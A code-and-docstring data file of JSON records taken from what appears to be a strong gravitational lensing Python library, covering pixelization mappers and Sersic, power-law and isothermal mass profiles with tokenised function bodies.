{"signature": "@property<EOL><INDENT>def pix_to_sub(self):<DEDENT>", "body": "pix_to_sub = [[] for _ in range(self.pixels)]<EOL>for regular_pixel, pix_pixel in enumerate(self.sub_to_pix):<EOL><INDENT>pix_to_sub[pix_pixel].append(regular_pixel)<EOL><DEDENT>return pix_to_sub<EOL>", "docstring": "Compute the mappings between a pixelization's pixels and the unmasked sub-grid pixels. These mappings \\\n        are determined after the regular-grid is used to determine the pixelization.\n\n        The pixelization's pixels map to different number of sub-grid pixels, thus a list of lists is used to \\\n        represent these mappings", "id": "f5950:c0:m5"}
{"signature": "def __init__(self, pixels, grid_stack, border, shape, geometry):", "body": "self.shape = shape<EOL>self.geometry = geometry<EOL>super(RectangularMapper, self).__init__(pixels, grid_stack, border)<EOL>", "docstring": "Class representing a rectangular mapper, which maps unmasked pixels on a masked 2D array (in the form of \\\n        a grid, see the *hyper.array.grid_stack* module) to pixels discretized on a rectangular grid.\n\n        The regular and uniform geometry of the rectangular grid is used to perform efficient pixel pairings.\n\n        Parameters\n        ----------\n        pixels : int\n            The number of pixels in the rectangular pixelization (y_pixels*x_pixels).\n        grid_stack : grid_stack.GridStack\n            A stack of grid describing the observed image's pixel coordinates (e.g. an image-grid, sub-grid, etc.).\n        border : grid_stack.RegularGridBorder\n            The border of the grid-stack's regular-grid.\n        shape : (int, int)\n            The dimensions of the rectangular grid of pixels (y_pixels, x_pixel)\n        geometry : pixelization.Rectangular.Geometry\n            The geometry (e.g. y / x edge locations, pixel-scales) of the rectangular pixelization.", "id": "f5950:c1:m0"}
{"signature": "@property<EOL><INDENT>def regular_to_pix(self):<DEDENT>", "body": "return self.geometry.grid_arcsec_to_grid_pixel_indexes(grid_arcsec=self.grid_stack.regular)<EOL>", "docstring": "The 1D index mappings between the regular grid's pixels and rectangular pixelization's pixels.", "id": "f5950:c1:m2"}
{"signature": "@property<EOL><INDENT>def sub_to_pix(self):<DEDENT>", "body": "return self.geometry.grid_arcsec_to_grid_pixel_indexes(grid_arcsec=self.grid_stack.sub)<EOL>", "docstring": "The 1D index mappings between the sub grid's pixels and rectangular pixelization's pixels", "id": "f5950:c1:m3"}
{"signature": "def reconstructed_pixelization_from_solution_vector(self, solution_vector):", "body": "recon = mapping_util.map_unmasked_1d_array_to_2d_array_from_array_1d_and_shape(array_1d=solution_vector,<EOL>shape=self.shape)<EOL>return scaled_array.ScaledRectangularPixelArray(array=recon, pixel_scales=self.geometry.pixel_scales,<EOL>origin=self.geometry.origin)<EOL>", "docstring": "Given the solution vector of an inversion (see *inversions.Inversion*), determine the reconstructed \\\n        pixelization of the rectangular pixelization by using the mapper.", "id": "f5950:c1:m4"}
{"signature": "def __init__(self, pixels, grid_stack, border, voronoi, geometry):", "body": "self.voronoi = voronoi<EOL>self.geometry = geometry<EOL>super(VoronoiMapper, self).__init__(pixels, grid_stack, border)<EOL>", "docstring": "Class representing a Voronoi mapper, which maps unmasked pixels on a masked 2D array (in the form of \\\n        a grid, see the *hyper.array.grid_stack* module) to pixels discretized on a Voronoi grid.\n\n        The irregular and non-uniform geometry of the Voronoi grid means efficient pixel pairings requires knowledge \\\n        of how different grid_stack map to one another.\n\n        Parameters\n        ----------\n        pixels : int\n            The number of pixels in the Voronoi pixelization.\n        grid_stack : grid_stack.GridStack\n            A stack of grid describing the observed image's pixel coordinates (e.g. an image-grid, sub-grid, etc.).\n        border : grid_stack.RegularGridBorder\n            The border of the grid-stack's regular-grid.\n        voronoi : scipy.spatial.Voronoi\n            Class storing the Voronoi grid's geometry.\n        geometry : pixelization.Voronoi.Geometry\n            The geometry (e.g. y / x edge locations, pixel-scales) of the Vornoi pixelization.", "id": "f5950:c2:m0"}
{"signature": "@property<EOL><INDENT>def regular_to_pix(self):<DEDENT>", "body": "return mapper_util.voronoi_regular_to_pix_from_grids_and_geometry(regular_grid=self.grid_stack.regular,<EOL>regular_to_nearest_pix=self.grid_stack.pix.regular_to_nearest_pix,<EOL>pixel_centres=self.geometry.pixel_centres, pixel_neighbors=self.geometry.pixel_neighbors,<EOL>pixel_neighbors_size=self.geometry.pixel_neighbors_size).astype('<STR_LIT:int>')<EOL>", "docstring": "The 1D index mappings between the regular pixels and Voronoi pixelization pixels.", "id": "f5950:c2:m2"}
{"signature": "@property<EOL><INDENT>def sub_to_pix(self):<DEDENT>", "body": "return mapper_util.voronoi_sub_to_pix_from_grids_and_geometry(sub_grid=self.grid_stack.sub,<EOL>regular_to_nearest_pix=self.grid_stack.pix.regular_to_nearest_pix,<EOL>sub_to_regular=self.grid_stack.sub.sub_to_regular, pixel_centres=self.geometry.pixel_centres,<EOL>pixel_neighbors=self.geometry.pixel_neighbors,<EOL>pixel_neighbors_size=self.geometry.pixel_neighbors_size).astype('<STR_LIT:int>')<EOL>", "docstring": "The 1D index mappings between the sub pixels and Voronoi pixelization pixels.", "id": "f5950:c2:m3"}
{"signature": "def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):", "body": "EllipticalSersic.__init__(self, centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>,<EOL>intensity=intensity, effective_radius=effective_radius, sersic_index=sersic_index,<EOL>mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The SphericalSersic mass profile, the mass profiles of the light profiles that are used to fit_normal and\nsubtract the lens model_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The regular_grid of the origin of the profiles\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second)\neffective_radius : float\n    The radius containing half the light of this model_mapper\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles", "id": "f5951:c1:m0"}
{"signature": "def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):", "body": "EllipticalSersic.__init__(self, centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>intensity=intensity, effective_radius=effective_radius,<EOL>sersic_index=<NUM_LIT:1.0>, mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The EllipticalExponential mass profile, the mass profiles of the light profiles that are used to fit_normal and\nsubtract the lens model_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The regular_grid of the origin of the profiles\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a)\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second)\neffective_radius : float\n    The radius containing half the light of this model_mapper\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles", "id": "f5951:c2:m0"}
{"signature": "def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):", "body": "EllipticalExponential.__init__(self, centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius, mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The SphericalExponential mass profile, the mass profiles of the light profiles that are used to fit_normal and\nsubtract the lens model_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The regular_grid of the origin of the profiles\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second)\neffective_radius : float\n    The radius containing half the light of this model_mapper\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles", "id": "f5951:c3:m0"}
{"signature": "def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):", "body": "super(EllipticalDevVaucouleurs, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>intensity=intensity, effective_radius=effective_radius,<EOL>sersic_index=<NUM_LIT>, mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The EllipticalDevVaucouleurs mass profile, the mass profiles of the light profiles that are used to fit_normal and\nsubtract the lens model_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The regular_grid of the origin of the profiles\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a)\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second)\neffective_radius : float\n    The radius containing half the light of this model_mapper\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles", "id": "f5951:c4:m0"}
{"signature": "def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>):", "body": "EllipticalDevVaucouleurs.__init__(self, centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius, mass_to_light_ratio=mass_to_light_ratio)<EOL>", "docstring": "The SphericalDevVaucouleurs mass profile, the mass profiles of the light profiles that are used to fit_normal and\nsubtract the lens model_galaxy's light.\n\nParameters\n----------\ncentre: (float, float)\n    The regular_grid of the origin of the profiles\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second)\neffective_radius : float\n    The radius containing half the light of this model_mapper\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles", "id": "f5951:c5:m0"}
{"signature": "def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>,<EOL>mass_to_light_gradient: float = <NUM_LIT:0.0>):", "body": "light_profiles.EllipticalSersic.__init__(self, centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>intensity=intensity, effective_radius=effective_radius,<EOL>sersic_index=sersic_index)<EOL>mass_profiles.EllipticalSersicRadialGradient.__init__(self, centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>intensity=intensity,<EOL>effective_radius=effective_radius,<EOL>sersic_index=sersic_index,<EOL>mass_to_light_ratio=mass_to_light_ratio,<EOL>mass_to_light_gradient=mass_to_light_gradient)<EOL>", "docstring": "Setup a Sersic mass and light profiles.\n\nParameters\n----------\ncentre: (float, float)\n    The origin of the profiles\naxis_ratio : float\n    Ratio of profiles ellipse's minor and major axes (b/a)\nphi : float\n    Rotational angle of profiles ellipse counter-clockwise from positive x-axis\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second)\neffective_radius : float\n    The radius containing half the light of this model_mapper\nsersic_index : Int\n    The concentration of the light profiles\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles\nmass_to_light_gradient : float\n    The mass-to-light radial gradient.", "id": "f5951:c6:m0"}
{"signature": "def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>intensity: dim.Luminosity = <NUM_LIT:0.1>,<EOL>effective_radius: dim.Length = <NUM_LIT>,<EOL>sersic_index: float = <NUM_LIT>,<EOL>mass_to_light_ratio: dim.MassOverLuminosity = <NUM_LIT:1.0>,<EOL>mass_to_light_gradient: float = <NUM_LIT:0.0>):", "body": "EllipticalSersicRadialGradient.__init__(self, centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, intensity=intensity,<EOL>effective_radius=effective_radius, sersic_index=sersic_index,<EOL>mass_to_light_ratio=mass_to_light_ratio,<EOL>mass_to_light_gradient=mass_to_light_gradient)<EOL>", "docstring": "Setup a Sersic mass and light profiles.\n\nParameters\n----------\ncentre: (float, float)\n    The origin of the profiles\nintensity : float\n    Overall flux intensity normalisation in the light profiles (electrons per second)\neffective_radius : float\n    The radius containing half the light of this model_mapper\nsersic_index : Int\n    The concentration of the light profiles\nmass_to_light_ratio : float\n    The mass-to-light ratio of the light profiles\nmass_to_light_gradient : float\n    The mass-to-light radial gradient.", "id": "f5951:c7:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>):<DEDENT>", "body": "super(PointMass, self).__init__(centre=centre)<EOL>self.einstein_radius = einstein_radius<EOL>", "docstring": "Represents a point-mass.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\neinstein_radius : float\n    The arc-second Einstein radius of the point-mass.", "id": "f5952:c1:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>):<DEDENT>", "body": "super(EllipticalMassProfile, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi)<EOL>self.axis_ratio = axis_ratio<EOL>self.phi = phi<EOL>", "docstring": "Abstract class for elliptical mass profiles.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    Ellipse's minor-to-major axis ratio (b/a)\nphi : float\n    Rotation angle of profile's ellipse counter-clockwise from positive x-axis", "id": "f5952:c2:m0"}
{"signature": "def mass_within_circle_in_units(self, radius: dim.Length, unit_mass='<STR_LIT>', kpc_per_arcsec=None,<EOL>critical_surface_density=None):", "body": "self.check_units_of_radius_and_critical_surface_density(<EOL>radius=radius, critical_surface_density=critical_surface_density)<EOL>profile = self.new_profile_with_units_converted(<EOL>unit_length=radius.unit_length, unit_mass='<STR_LIT>',<EOL>kpc_per_arcsec=kpc_per_arcsec, critical_surface_density=critical_surface_density)<EOL>mass_angular = dim.Mass(value=quad(profile.mass_integral, a=<NUM_LIT:0.0>, b=radius, args=(<NUM_LIT:1.0>,))[<NUM_LIT:0>], unit_mass='<STR_LIT>')<EOL>return mass_angular.convert(unit_mass=unit_mass, critical_surface_density=critical_surface_density)<EOL>", "docstring": "Integrate the mass profiles's convergence profile to compute the total mass within a circle of \\\n        specified radius. This is centred on the mass profile.\n\n        The following units for mass can be specified and output:\n\n        - Dimensionless angular units (default) - 'angular'.\n        - Solar masses - 'angular' (multiplies the angular mass by the critical surface mass density).\n\n        Parameters\n        ----------\n        radius : dim.Length\n            The radius of the circle to compute the dimensionless mass within.\n        unit_mass : str\n            The units the mass is returned in (angular | angular).\n        critical_surface_density : float or None\n            The critical surface mass density of the strong lens configuration, which converts mass from angulalr \\\n            units to phsical units (e.g. solar masses).", "id": "f5952:c2:m2"}
{"signature": "def mass_within_ellipse_in_units(self, major_axis, unit_mass='<STR_LIT>', kpc_per_arcsec=None,<EOL>critical_surface_density=None):", "body": "self.check_units_of_radius_and_critical_surface_density(<EOL>radius=major_axis, critical_surface_density=critical_surface_density)<EOL>profile = self.new_profile_with_units_converted(<EOL>unit_length=major_axis.unit_length, unit_mass='<STR_LIT>',<EOL>kpc_per_arcsec=kpc_per_arcsec, critical_surface_density=critical_surface_density)<EOL>mass_angular = dim.Mass(value=quad(profile.mass_integral, a=<NUM_LIT:0.0>, b=major_axis, args=(self.axis_ratio,))[<NUM_LIT:0>],<EOL>unit_mass='<STR_LIT>')<EOL>return mass_angular.convert(unit_mass=unit_mass, critical_surface_density=critical_surface_density)<EOL>", "docstring": "Integrate the mass profiles's convergence profile to compute the total angular mass within an ellipse of \\\n        specified major axis. This is centred on the mass profile.\n\n        The following units for mass can be specified and output:\n\n        - Dimensionless angular units (default) - 'angular'.\n        - Solar masses - 'angular' (multiplies the angular mass by the critical surface mass density)\n\n        Parameters\n        ----------\n        major_axis : float\n            The major-axis radius of the ellipse.\n        unit_mass : str\n            The units the mass is returned in (angular | angular).\n        critical_surface_density : float or None\n            The critical surface mass density of the strong lens configuration, which converts mass from angular \\\n            units to phsical units (e.g. solar masses).", "id": "f5952:c2:m3"}
{"signature": "def mass_integral(self, x, axis_ratio):", "body": "r = x * axis_ratio<EOL>return <NUM_LIT:2> * np.pi * r * self.convergence_func(x)<EOL>", "docstring": "Routine to integrate an elliptical light profiles - set axis ratio to 1 to compute the luminosity within a \\\n        circle", "id": "f5952:c2:m4"}
{"signature": "def density_between_circular_annuli_in_angular_units(self, inner_annuli_radius, outer_annuli_radius):", "body": "annuli_area = (np.pi * outer_annuli_radius ** <NUM_LIT>) - (np.pi * inner_annuli_radius ** <NUM_LIT>)<EOL>return (self.mass_within_circle_in_units(radius=outer_annuli_radius) -<EOL>self.mass_within_circle_in_units(radius=inner_annuli_radius))/ annuli_area<EOL>", "docstring": "Calculate the mass between two circular annuli and compute the density by dividing by the annuli surface\n        area.\n\n        The value returned by the mass integral is dimensionless, therefore the density between annuli is returned in \\\n        units of inverse radius squared. A conversion factor can be specified to convert this to a physical value \\\n        (e.g. the critical surface mass density).\n\n        Parameters\n        -----------\n        inner_annuli_radius : float\n            The radius of the inner annulus outside of which the density are estimated.\n        outer_annuli_radius : float\n            The radius of the outer annulus inside of which the density is estimated.", "id": "f5952:c2:m5"}
{"signature": "def average_convergence_of_1_radius_in_units(self, unit_length='<STR_LIT>', kpc_per_arcsec=None):", "body": "def func(radius):<EOL><INDENT>radius = dim.Length(radius, unit_length=unit_length)<EOL>return self.mass_within_circle_in_units(radius=radius) - np.pi * radius ** <NUM_LIT><EOL><DEDENT>radius = self.ellipticity_rescale * root_scalar(func, bracket=[<NUM_LIT>, <NUM_LIT>]).root<EOL>radius = dim.Length(radius, unit_length)<EOL>return radius.convert(unit_length=unit_length, kpc_per_arcsec=kpc_per_arcsec)<EOL>", "docstring": "The radius a critical curve forms for this mass profile, e.g. where the mean convergence is equal to 1.0.\n\n         In case of ellipitical mass profiles, the 'average' critical curve is used, whereby the convergence is \\\n         rescaled into a circle using the axis ratio.\n\n         This radius corresponds to the Einstein radius of the mass profile, and is a property of a number of \\\n         mass profiles below.", "id": "f5952:c2:m6"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>,<EOL>slope: float = <NUM_LIT>,<EOL>core_radius: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(EllipticalCoredPowerLaw, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi)<EOL>self.einstein_radius = einstein_radius<EOL>self.slope = slope<EOL>self.core_radius = core_radius<EOL>", "docstring": "Represents a cored elliptical power-law density distribution\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    The elliptical mass profile's minor-to-major axis ratio (b/a).\nphi : float\n    Rotation angle of mass profile's ellipse counter-clockwise from positive x-axis.\neinstein_radius : float\n    The arc-second Einstein radius.\nslope : float\n    The density slope of the power-law (lower value -> shallower profile, higher value -> steeper profile).\ncore_radius : float\n    The arc-second radius of the inner core.", "id": "f5952:c3:m0"}
{"signature": "@property<EOL><INDENT>def einstein_radius_rescaled(self):<DEDENT>", "body": "return ((<NUM_LIT:3> - self.slope) / (<NUM_LIT:1> + self.axis_ratio)) * self.einstein_radius ** (self.slope - <NUM_LIT:1>)<EOL>", "docstring": "Rescale the einstein radius by slope and axis_ratio, to reduce its degeneracy with other mass-profiles\n        parameters", "id": "f5952:c3:m1"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def convergence_from_grid(self, grid):<DEDENT>", "body": "surface_density_grid = np.zeros(grid.shape[<NUM_LIT:0>])<EOL>grid_eta = self.grid_to_elliptical_radii(grid)<EOL>for i in range(grid.shape[<NUM_LIT:0>]):<EOL><INDENT>surface_density_grid[i] = self.convergence_func(grid_eta[i])<EOL><DEDENT>return surface_density_grid<EOL>", "docstring": "Calculate the projected convergence at a given set of arc-second gridded coordinates.\n\n        Parameters\n        ----------\n        grid : grids.RegularGrid\n            The grid of (y,x) arc-second coordinates the surface density is computed on.", "id": "f5952:c3:m2"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def potential_from_grid(self, grid):<DEDENT>", "body": "potential_grid = quad_grid(self.potential_func, <NUM_LIT:0.0>, <NUM_LIT:1.0>, grid,<EOL>args=(self.axis_ratio, self.slope, self.core_radius))[<NUM_LIT:0>]<EOL>return self.einstein_radius_rescaled * self.axis_ratio * potential_grid<EOL>", "docstring": "Calculate the potential at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c3:m3"}
{"signature": "@grids.grid_interpolate<EOL><INDENT>@geometry_profiles.cache<EOL>@geometry_profiles.transform_grid<EOL>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "def calculate_deflection_component(npow, index):<EOL><INDENT>einstein_radius_rescaled = self.einstein_radius_rescaled<EOL>deflection_grid = self.axis_ratio * grid[:, index]<EOL>deflection_grid *= quad_grid(self.deflection_func, <NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL>grid, args=(npow, self.axis_ratio,<EOL>einstein_radius_rescaled, self.slope,<EOL>self.core_radius))[<NUM_LIT:0>]<EOL>return deflection_grid<EOL><DEDENT>deflection_y = calculate_deflection_component(<NUM_LIT:1.0>, <NUM_LIT:0>)<EOL>deflection_x = calculate_deflection_component(<NUM_LIT:0.0>, <NUM_LIT:1>)<EOL>return self.rotate_grid_from_profile(np.multiply(<NUM_LIT:1.0>, np.vstack((deflection_y, deflection_x)).T))<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c3:m4"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>,<EOL>slope: float = <NUM_LIT>,<EOL>core_radius: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(SphericalCoredPowerLaw, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>,<EOL>einstein_radius=einstein_radius, slope=slope,<EOL>core_radius=core_radius)<EOL>", "docstring": "Represents a cored spherical power-law density distribution\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\neinstein_radius : float\n    The arc-second Einstein radius.\nslope : float\n    The density slope of the power-law (lower value -> shallower profile, higher value -> steeper profile).\ncore_radius : float\n    The arc-second radius of the inner core.", "id": "f5952:c4:m0"}
{"signature": "@geometry_profiles.transform_grid<EOL><INDENT>@geometry_profiles.move_grid_to_radial_minimum<EOL>def deflections_from_grid(self, grid):<DEDENT>", "body": "eta = self.grid_to_grid_radii(grid=grid)<EOL>deflection = np.multiply(<NUM_LIT> * self.einstein_radius_rescaled, np.divide(<EOL>np.add(np.power(np.add(self.core_radius ** <NUM_LIT:2>, np.square(eta)), (<NUM_LIT> - self.slope) / <NUM_LIT>),<EOL>-self.core_radius ** (<NUM_LIT:3> - self.slope)), np.multiply((<NUM_LIT> - self.slope), eta)))<EOL>return self.grid_to_grid_cartesian(grid=grid, radius=deflection)<EOL>", "docstring": "Calculate the deflection angles at a given set of arc-second gridded coordinates.\n\nParameters\n----------\ngrid : grids.RegularGrid\n    The grid of (y,x) arc-second coordinates the deflection angles are computed on.", "id": "f5952:c4:m1"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>,<EOL>slope: float = <NUM_LIT>):<DEDENT>", "body": "super(EllipticalPowerLaw, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>einstein_radius=einstein_radius, slope=slope,<EOL>core_radius=dim.Length(<NUM_LIT:0.0>))<EOL>", "docstring": "Represents an elliptical power-law density distribution.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    The elliptical mass profile's minor-to-major axis ratio (b/a).\nphi : float\n    Rotation angle of mass profile's ellipse counter-clockwise from positive x-axis.\neinstein_radius : float\n    The arc-second Einstein radius.\nslope : float\n    The density slope of the power-law (lower value -> shallower profile, higher value -> steeper profile).", "id": "f5952:c5:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>,<EOL>slope: float = <NUM_LIT>):<DEDENT>", "body": "super(SphericalPowerLaw, self).__init__(centre=centre, axis_ratio=<NUM_LIT:1.0>, phi=<NUM_LIT:0.0>, einstein_radius=einstein_radius,<EOL>slope=slope)<EOL>", "docstring": "Represents a spherical power-law density distribution.\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\neinstein_radius : float\n    The arc-second Einstein radius.\nslope : float\n    The density slope of the power-law (lower value -> shallower profile, higher value -> steeper profile).", "id": "f5952:c6:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>,<EOL>core_radius: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(EllipticalCoredIsothermal, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>einstein_radius=einstein_radius, slope=<NUM_LIT>,<EOL>core_radius=core_radius)<EOL>", "docstring": "Represents a cored elliptical isothermal density distribution, which is equivalent to the elliptical power-law\ndensity distribution for the value slope: float = 2.0\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    The elliptical mass profile's minor-to-major axis ratio (b/a).\nphi : float\n    Rotation angle of mass profile's ellipse counter-clockwise from positive x-axis.\neinstein_radius : float\n    The arc-second Einstein radius.\ncore_radius : float\n    The arc-second radius of the inner core.", "id": "f5952:c7:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>,<EOL>core_radius: dim.Length = <NUM_LIT>):<DEDENT>", "body": "super(SphericalCoredIsothermal, self).__init__(centre=centre, einstein_radius=einstein_radius, slope=<NUM_LIT>,<EOL>core_radius=core_radius)<EOL>", "docstring": "Represents a cored spherical isothermal density distribution, which is equivalent to the elliptical power-law\ndensity distribution for the value slope: float = 2.0\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\neinstein_radius : float\n    The arc-second Einstein radius.\ncore_radius : float\n    The arc-second radius of the inner core.", "id": "f5952:c8:m0"}
{"signature": "@map_types<EOL><INDENT>def __init__(self,<EOL>centre: dim.Position = (<NUM_LIT:0.0>, <NUM_LIT:0.0>),<EOL>axis_ratio: float = <NUM_LIT:1.0>,<EOL>phi: float = <NUM_LIT:0.0>,<EOL>einstein_radius: dim.Length = <NUM_LIT:1.0>):<DEDENT>", "body": "super(EllipticalIsothermal, self).__init__(centre=centre, axis_ratio=axis_ratio, phi=phi,<EOL>einstein_radius=einstein_radius, slope=<NUM_LIT>)<EOL>", "docstring": "Represents an elliptical isothermal density distribution, which is equivalent to the elliptical power-law\ndensity distribution for the value slope: float = 2.0\n\nParameters\n----------\ncentre: (float, float)\n    The (y,x) arc-second coordinates of the profile centre.\naxis_ratio : float\n    The elliptical mass profile's minor-to-major axis ratio (b/a).\nphi : float\n    Rotation angle of mass profile's ellipse counter-clockwise from positive x-axis.\neinstein_radius : float\n    The arc-second Einstein radius.", "id": "f5952:c9:m0"}
